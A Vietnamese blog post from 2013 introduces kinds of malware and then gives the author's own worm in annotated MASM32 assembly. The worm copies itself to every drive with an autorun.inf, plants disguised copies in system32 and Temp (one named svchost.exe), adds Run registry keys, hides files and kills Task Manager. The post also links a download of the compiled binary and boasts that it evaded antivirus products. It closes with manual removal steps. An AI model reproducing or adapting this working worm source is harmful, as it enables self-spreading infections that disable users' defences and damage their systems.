Tuesday, May 28, 2013

MEO-WE (MalWare)

(PHẦN I)

Bâu gồm:


- Virus
- Trojan Horse
- GrayWare (Spyware; Adware; Dialer; VV)
- KeyLogger
- BackDoor
- Worm
- RootKit
- VV

Một con vi-trùng(ii) đơn giản nhất bâu gồm 3 tính năng sau:

1. Tự nhân bản vào:


+ các thư mục được chỉ định (%SystemRoot%\system32\ ; %Temp%; %VV%)


+ các phân vùng / ổ đĩa cứng (C:\; D:\; E:\; F:\; VV), USBs (USB Sticks, Thẻ Nhớ, VV). Trừ ổ-quang(iii). Ổ đĩa mềm (ký hiệu chuẩn trước đây là A:\) đã gần như bị khai tử nên không xét.

2. Ghi dữ liệu vào Windows Registry:


+ gán giá trị vào keyname "Run" / "RunOnce" / "RunOnceEx" của cả hai nhánh H-K-C-U(iv) và H-K-L-M(v) để khởi động cùng hệ thống.


+ vô hiệu tính năng Log-On bằng cách biên tập lại string chuẩn "C:\WINDOWS\system32\userinit.exe," của "Userinit" trong keyname "Winlogon" của nhánh H-K-L-M.

3. Thi hành tác vụ được chỉ định nào đó. Tỉ dư:
 

+ tắt tiến-trình(vi) explorer.exe
 

+ xóa tất cả các tệp tin có phần-mở-rộng(vii) là .MP3 hiện có trên máy tính của nạn-nhân. Tớ có biết tí Ngôn Ngữ Assembly(ASM) và, cách đây 5 niên, tớ có thể biên con nầy trong vòng nửa giờ cho tất cả công đoạn: biên-dịch-ra-exe > test > packed.

Tớ quen dùng Microsoft Macro Assembler (MASM) chứ không phải Turbo Assembler(TASM).


Tại sao không phải ngôn ngữ lập trình khác: Pascal, Delphi, C / C++ / C#, Visual / Visual Basic, .NET, VV?

Dùng Assembly, ta có:


- Tối ưu code tới từng byte mã lệnh. Bớt đi các đoạn mã trùng lập do các ngôn ngữ lập trình bậc cao ở trên sinh ra. Tiện cho việc biên tập, quản lý.


- Kích thước tệp tin thực-thi(viii) sau khi biên dịch luôn cho kích thước nhỏ nhất.


- Lợi thế rất lớn cho lĩnh vực RE(ix). RE là cách thức phân tích dịch ngược mã nguồn nhằm tìm ra bug của một chương trình bị lỗi; và hoạt động của Meo-We một cách chính xác nhất. Vì hầu hết các công cụ debugger / disassembler hiện nay đều dịch mã ra ngôn ngữ ASM. Bạn nắm vững ASM, bạn đã nắm chắc 50% phần thắng. Đặc biệt đối với các Cracker; Hacker và vXer(x), kiến thức về ASM không bao giờ là thừa.

----------------------------

(i)Meo-We aka Malware


(ii)vi-trùng aka Computer Virus(es)


(iii)ổ-quang aka ổ-đĩa-gắn-trong (Internal Optical Drive) hoặc ổ-đĩa-gắn-ngoài(External Optical Drive) bâu gồm CD-Rom; DVD-Rom; Blu-Ray-Rom; HD-DVD-Rom so far.


(iv)H-K-C-U aka HKEY_CURRENT_USER.


(v)H-K-L-M aka HKEY_LOCAL_MACHINE.


H-K-C-U và H-K-L-M là hai nhánh lưu trữ thông tin / cấu hình quan trọng bậc nhất của hệ điều hành Windows. Hệ thống có thể dừng hoạt động nếu ta biên tập sai dù chỉ "một con dấu"  / "một từ" / "một con số" của các giá trị quan trọng trong đó.


(vi)tiến-trình aka Process(es).


(vii)phần-mở-rộng aka Extension, tỉ dư .mp3; .ipsw; .exe, .torrent


(viii)nạn-nhân aka Victim(s)


(ix)RE aka Reverse Engineering


(x)vXer aka Virus Writers

-----------
-----------


(Phần II)



Và đây là một trong dững sản fẩm tớ mần trong thời gian còn làm nghề ngồi bàn giấy. Còn một con chuyên lây-nhiễm-qua-EXE(EXE Infection) và một con chuyên-mở-cổng-hậu(Trojan/BackDoor) giờ source-code của hai cỏn, tớ chả biết để đâu mẹ:




[.686p]

 
diễn giải cho ASM hiểu ta dùng cấu trúc 80686p để biên-dịch ra tệp-tin-thực-thi. Đúng chuẩn phải là [.386] nhưng hiện nay có nhiều cấu-trúc CPU(của Intel) ở dạng 486 / 586 / 686 nên anh thích để ở 686 cho nó mô-đồ-tí. He he. Chữ [p] nghĩa là [Priviledged] aka Đặc-Quyền.

[.model flat, stdcall]
Win32 chỉ có mỗi mô-đồ [FLAT]. [STDCALL] là qui-ước-truyền-tham-số

[option casemap :none]
diễn giải cho ASM hiểu chữ-hoa / chữ-thường trong các nhãn API mà ta sẽ truy vấn tới.


...
...

[.data]
[.data?]
[.const]
[.code]
4 sections chứa dữ-liệu-được-khai-báo / dữ-liệu-chứa-biến / hằng-số / mã-chương-trình.

....
....

Vầu nội dung chính:

+ Chỉ định các byte đầu tiên (để các detector như PEiD, RDG Packer Detector...) nhận diện signature của con nầy là [MASM32 / TASM32]:
INVOKE GetModuleHandle, NULL
MOV hInstance, EAX

+ Khai báo cho Procedure chính:
MalWare PROC param: LPDWORD

+ Tự nhân-bản và nạp vào biến [sTarget] với trị = 256 <=> MAX_PATH:
INVOKE GetModuleFileName, hInstance, ADDR sTarget, SIZEOF sTarget

.WHILE TRUE

    + Truy vấn tên của tất cả ổ-đĩa hiện có trên máy, hiển thị ở dạng chuỗi (C, D, E, F, ..., Z):
    INVOKE GetLogicalDriveStrings, 255, ADDR sDrive
    MOV EAX, 1
    LEA EBX, sDrive

    .WHILE EAX != 0

    PUSH EBX
    + Truy vấn và phân loại các thể loại ổ-đĩa:
    INVOKE GetDriveType, EBX

        .IF EAX == DRIVE_FIXED || EAX == DRIVE_REMOVABLE || EAX == DRIVE_RAMDISK || EAX == DRIVE_REMOTE

            + Loại ổ-đĩa-mềm ra:
            .IF BYTE PTR [EBX] != "A"

            + Thực hiện nối-chuỗi (vd: "C:\"+"X14NU4.exe" => "C:\X14NU4.exe")
            INVOKE lstrcpy, ADDR File, EBX

            + Nối thêm ":\" vào sau tên mỗi ổ-đĩa ở trên:
            INVOKE lstrcpy, ADDR File+3, ADDR sEXE

            + Tiến hành nhân-bản từ biến [sTarget] thành [X14NU4.exe]:       
            INVOKE CopyFile, ADDR sTarget, ADDR File, 0

            + Đặt thuộc tính Ẩn + Chỉ-Đọc + Hệ-Thống cho nó:
            INVOKE SetFileAttributes, ADDR File, FILE_ATTRIBUTE_READONLY + FILE_ATTRIBUTE_HIDDEN + FILE_ATTRIBUTE_SYSTEM   

            + Thực hiện nối-chuỗi tương tự như trên:
            INVOKE lstrcpy, ADDR File+3, ADDR sAutorun


            + Kiểm tra trên root của mỗi ổ-đĩa có tồn tại tệp-tin [Autorun.inf] hay không. Nếu có, đặt lại thuộc-tính Bình-Thường cho nó:
            INVOKE SetFileAttributes, ADDR File, FILE_ATTRIBUTE_NORMAL
       
            + Sau đó, xóa tệp nầy đi:
            INVOKE DeleteFile, ADDR File

            + Kế đến là tạo tệp-tin [Autorun.inf] mới thay thế:
            INVOKE CreateFile, ADDR File, GENERIC_WRITE, FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL
            MOV hFile, EAX

             + Ghi dữ-liệu lên tệp-tin nầy:
            INVOKE WriteFile, hFile, ADDR sContent, 149, ADDR sWrite, NULL

            + Và đặt thuộc-tính tương tự như [X14NU4.exe] ở trên:
            INVOKE SetFileAttributes, ADDR File, FILE_ATTRIBUTE_READONLY + FILE_ATTRIBUTE_HIDDEN + FILE_ATTRIBUTE_SYSTEM

            + Đóng qui-trình mần việc mới tệp-tin nầy:
            INVOKE CloseHandle, hFile

            + Gọi protoype tiêu-diệt-tiến-trình-Task-Manager theo như kế hoạch đã đề ra:
            CALL @@Killed
       
            .ENDIF

            .ENDIF

    POP EBX
    ADD EBX, 4
    INVOKE lstrlen, EBX

    .ENDW
   
    + Tạm dừng trong 1/10 giây he he giải lao tí:
    INVOKE Sleep, 100

.ENDW
+ Tạo vòng-lặp:
RET

MalWare ENDP

Đoạn code thực hiện kill-process [chỉ định là Windows Task Manager <=> TaskMgr.exe]:


@@Killed:

    + Mần trống-bộ-nhớ và các hàm-thủ-tục-đi-kèm:
    INVOKE RtlZeroMemory, ADDR @stProcess, SIZEOF @stProcess
    MOV @stProcess.dwSize, SIZEOF @stProcess
    INVOKE CreateToolhelp32Snapshot, TH32CS_SNAPPROCESS, 0
    MOV @hSnapShot, EAX
    INVOKE Process32First, @hSnapShot, ADDR @stProcess

    .While EAX

    + So sánh chuỗi [TaskMgr.exe] mới các tiến-trình trong danh sách hiển thị của Windows-Task-Manager:
    INVOKE lstrcmpi, ADDR @stProcess.szExeFile, OFFSET sTaskMa

        + Nếu đúng:
        .IF EAX == 0

    + Goi API OpenProcess mới tham-số [PROCESS_TERMINATE] để triệt tiến-trình trên đi:
    INVOKE OpenProcess, PROCESS_TERMINATE, FALSE, @stProcess.th32ProcessID

            .IF EAX

            MOV EBX, EAX
            INVOKE TerminateProcess, EBX, 1
            INVOKE CloseHandle, EBX

            .ENDIF

        .ENDIF

    INVOKE Process32Next, @hSnapShot, ADDR @stProcess

    .EndW

    INVOKE CloseHandle, @hSnapShot

    + Dùng API gọi thư-mục-chứa-tệp-tin-tạm-của-hệ-thống:
    INVOKE GetTempPath, SIZEOF sDrives, ADDR sDrives
    INVOKE lstrcat, ADDR sDrives, ADDR sTemp

    + Tự nhân-bản thành tệp-tin [svchost.exe] thả vầu đây:
    INVOKE CopyFile, ADDR sTarget, ADDR sDrives, 0

    ++ Biên-tập lại Windows-Registry:

    + Tạo key khởi-động-cùng-hệ-thống cho con nầy trong nhánh H-K-L-M với các thông-số sau:

    - [Key-Name] là [NTT]
    - [Key-Type] là [REG_EXPAND_EZ]
    - [Key-Data] là đường-dẫn [%SystemRoot%\System32\aNtHoNy.exe]

    INVOKE RegCreateKey, HKEY_LOCAL_MACHINE, OFFSET sSys, ADDR @hKey
    INVOKE RegSetValueEx, @hKey, ADDR sHead, NULL, REG_EXPAND_SZ, ADDR sTB, SIZEOF sTB
    INVOKE RegCloseKey, @hKey

    + Hai đoạn nầy kích-hoạt-chế-độ-Super-Hidden của Microsoft-Windows. Thói bần-nông-cố-hữu của nhiều vXer. Hy hy:
    INVOKE RegCreateKey, HKEY_LOCAL_MACHINE, OFFSET sSys2, ADDR @hKey
    INVOKE RegSetValueEx, @hKey, ADDR sHead2, NULL, REG_SZ, ADDR sTB2, SIZEOF sTB2
    INVOKE RegCloseKey, @hKey

    INVOKE RegCreateKey, HKEY_LOCAL_MACHINE, OFFSET sSys3, ADDR @hKey
    INVOKE RegSetValueEx, @hKey, ADDR sHead3, NULL, REG_DWORD, ADDR sTB3, SIZEOF sTB3
    INVOKE RegCloseKey, @hKey

    + Tạo thêm key khởi-động-cùng-hệ-thống cho con nầy trong nhánh H-K-C-U với các thông-số sau:

    - [Key-Name] là [AHTT] aka [An-Hoàng-Trung-Tướng]?
    - [Key-Type] là [REG_EXPAND_EZ]]
    - [Key-Data] là đường-dẫn [%Temp%\svchost.exe]

    INVOKE RegCreateKey, HKEY_CURRENT_USER, OFFSET sSys, ADDR @hKey
    INVOKE RegSetValueEx, @hKey, ADDR sHead4, NULL, REG_EXPAND_SZ, ADDR sTB4, SIZEOF sTB4
    INVOKE RegCloseKey, @hKey

    + Dùng API GetSystemDirectory truy vấn ổ-đĩa / phân-vùng chứa HĐH. Thông thường là [C:\Windows\system32] có phỏng? Cũng có khi HĐH được cài đặt trên [D:\] hoặc [E:\], VV, chứ hông nhất thiết là [C:\]. Do đó để tránh bị hớ, ta dùng hàm truy vấn nầy để có kết quả chính xác nhất:    INVOKE GetSystemDirectory, OFFSET SystemPath, MAX_PATH
    MOV ESI, OFFSET SystemPath
    INVOKE lstrlen, ESI
    MOV ECX, OFFSET sTrick

        .IF BYTE PTR [ESI+EAX-1] == "\"

        INC ECX

        .ENDIF

    INVOKE lstrcat, ESI, ECX

    + Tự nhân-bản vầu đó dưới tên [aNtHoNy.exe], đường-dẫn-chính-xác của con nầy sẽ là [C:\Windows\system32\aNtHoNy.exe]
    INVOKE CopyFile, OFFSET sTarget, OFFSET SystemPath, FALSE

    + Lại đặt thuộc-tính Chỉ-Đọc + Ẩn+ Hệ-Thống cho con nầy nốt:
    INVOKE SetFileAttributes, ADDR SystemPath, FILE_ATTRIBUTE_READONLY + FILE_ATTRIBUTE_HIDDEN + FILE_ATTRIBUTE_SYSTEM

    XOR EAX, EAX
    RET

END Start


************************************************************************
+++ Túm cái váy, nguyên-lý-hoạt-động của con Meo-We nầy như sau:

1/ Tự nhân-bản vầu root của tất cả Partition / Hard-Drive / USBs / LANs/ VV có trong hệ-thống dưới tên [X14NU4.exe] đi kèm là tệp-tin [Autorun.inf] có nội-dung như sau:

[autorun]
open=.\X14NU4.exe
shell\1=Open
shell\1\Command=.\X14NU4.exe
shell\2\=Browser
shell\2\Command=.\X14NU4.exe
shellexecute=.\X14NU4.exe














2/ Tự nhân-bản vầu [%SystemRoot%\system32] dưới tên [aNtHoNy.exe]. Đường dẫn chính-xác là [%SystemRoot%\system32\aNtHoNy.exe]





3/ Tạo trị khởi-động-cùng-hệ-thống cho con nầy trong nhánh H-K-L-M với các thông-số sau:

    + [Key-Name] là [NTT]
    + [Key-Type] là [REG_EXPAND_EZ]
    + [Key-Data] là đường-dẫn [%SystemRoot%\System32\aNtHoNy.exe]







4/ Tự nhân-bản vầu [%Temp%] dưới tên [svchost.exe]. Đường-dẫn-chính-xác là [%Temp%\svchost.exe]





5/ Tạo trị khởi-động-cùng-hệ-thống cho con nầy trong nhánh H-K-C-U với các thông-số sau:

    + [Key-Name] là [AHTT] aka [An-Hoàng-Trung-Tướng]?
    + [Key-Type] là [REG_EXPAND_EZ]]
    + [Key-Data] là đường-dẫn [%Temp%\svchost.exe]



 
6/ Kích hoạt chế-độ Super-Hidden của Microsoft-Windows.







7/ Triệt tiêu tiến-trình Windows-Task-Manager.
Tất cả tệp-tin trên đều được gán thuộc-tính Ẩn + Chỉ-Đọc + Hệ-Thống nhằm hạn chế sự can thiệp của người-dùng.

Vầu thời điểm đó (đó < 2k8), con Meo-We nầy dễ dàng qua mặt hết tất cả Anti-Virus-Trứ-Danh-Sừng-Sỏ-Nhất trong TopTen-AntiVirus, bâu gồm Bitdefender - Kaspersky - Norton - Panda - AVG - TrendMicro - NOD32 - ETC.


************************************************************************


(PHẦN III)

Kích hoạt con nầy phát, kiểm-tra lại:

Các cô chịu khó Right-click vầu hình > Xem-Ảnh đầy đủ kích cỡ. Địt cụ thằng Bờ-Lốc-Bốt-Fò nuốc mấc một phần ảnh của anh.
Thùy-linh sản-phẩm:

http://www.x14nu4.com/Datas/X14NU4.exe




*****************************************
(PHẦN IV)

Code tool để gỡ/khắc-fục hậu-quả của con Meo-We nầy trong vòng vài nốt nhạc. He he.

Đây mới là linh-hồn của bài viết, là trọng-tâm mà anh muốn nhắn gửi đến các cô: Cách-sử-lý-Meo-We-theo-cách-thủ-công.

1/ Hủy tiến-trình của con Meo-We(X14NU4.exe) và đồng-bọn(aNtHoNy.exe + svchost.exe) ngay-tắp-lự.

2/ Xóa hai tệp-tin [X14NU4.exe] + [Autorun.inf] trên tất-cả phân-vùng / ổ-đĩa / USBs / LANs / VV.

3/ Xóa cả tệp-tin [svchost.exe] trong %Temp% và tệp-tin [aNtHoNy.exe] trong %SystemRoot%\system32.

4/ Xóa hai-trị-khởi-động-cùng-hệ-thống trong Windows-Registry là:
- Trong H-K-L-M:
    + [Key-Name] là [NTT]
    + [Key-Type] là [REG_EXPAND_EZ]
    + [Key-Data] là đường-dẫn [%SystemRoot%\System32\aNtHoNy.exe]

Và trong H-K-C-U:


    + [Key-Name] là [AHTT] aka [An-Hoàng-Trung-Tướng]?
    + [Key-Type] là [REG_EXPAND_EZ]]
    + [Key-Data] là đường-dẫn [%Temp%\svchost.exe]


5/ Tắt chức năng Super-Hidden của Microsoft-Windows bằng cách khôi-fục lại:

- [Key-Data] thành [checkbox] thay vì [radio]
trong đường-dẫn-tuyệt-đối [My Computer\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\SuperHidden].


- [Key-Data] thành [1] thay vì [0]
trong đường-dẫn-tuyệt-đối [My Computer\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL].


Thùy-linh của thuốc-giải:

http://www.x14nu4.com/Datas/Fix_X14NU4.exe